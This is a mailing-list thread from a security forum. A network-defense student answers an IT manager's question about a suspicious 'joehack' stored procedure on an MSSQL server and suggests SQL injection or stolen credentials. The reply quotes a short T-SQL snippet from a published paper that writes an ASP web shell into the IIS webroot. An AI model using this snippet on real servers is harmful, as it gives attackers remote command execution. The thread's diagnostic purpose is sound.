Re: joehack, SQL and the 1433 Scans....

Scott,

Is the database accessible from a website for example? The reason I ask is
this sounds like a SQL injection attempt or maybe someone  got your MSSQL
user/pass somehow.

[Taken from Advanced SQL Injection In SQL Server Applications -
http://www.ngssoftware.com]

This example creates an ASP script that will run any command passed to it in
the querystring:

-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp',
1

exec @ret = sp_oamethod @f, 'writeline', NULL,

'<% set o = server.createobject("wscript.shell"): o.run(
request.querystring("cmd") ) %>'

It is important to note that when running on a Windows NT4, IIS4 platform,
commands issued by this ASP script will run as the 'system' account. In
IIS5, however, they will run as the low-privileged IWAM_xxx

--
Chris Norton
UAT Student Software Engineering Network Defense

----- Original Message ----- 
From: "Scott Sanders" <[email protected]>
To: <[email protected]>
Sent: Wednesday, November 10, 2004 1:55 AM
Subject: [Intrusions] joehack, SQL and the 1433 Scans....


> Hi there...
>
> I'm hoping somebody can help shed light on this issue as we have an
> identical situation here and I'm not having much luck gathering info on
> this.
>
> We have been investigating processor spikes on a SQL server and we have
> also found a stored procedure running with this 'joehack' string. The
> details are below:
>
> DECLARE @OUTPAR1 int
>  execute  sp_<removed string>  @OUTPAR1  output
> select @OUTPAR1 'joehack'
>
> This seems to be running under a valid SQL account.
>
> Any advice is appreciated.
>
> Regards,
> Scott Sanders
> IT Operations
> Europe & Africa Region
> Toyota Financial Services (UK)
> D +44 (0)1737 365512
> F +44 (0)1737 365520
> M +44 (0)7810 884614
> E [email protected]
>
>
> This correspondence is for the intended recipient only. It may contain
> confidential or legally privileged information or both. No
> confidentiality or privilege is waived or lost by any mistransmission
> or unauthorised alteration during transmission.
>
> If you are not the intended recipient, any disclosure, copying,
> distribution or any action taken or omitted to be taken in reliance on
> it, is prohibited and may be unlawful. If you receive this
> correspondence in error, please immediately delete it from your system
> and notify the sender.
>
> Any views expressed in this message are those of the individual sender,
> except where the sender expressly, and with authority, states them to
> be the views of Toyota.
>
> This message has been checked for viruses but the recipient is strongly
> advised to rescan the message before opening any attachments or
> attached executable files.
> _______________________________________________
> Intrusions mailing list
> [email protected]
> http://www.dshield.org/mailman/listinfo/intrusions
>
_______________________________________________
Intrusions mailing list
[email protected]
http://www.dshield.org/mailman/listinfo/intrusions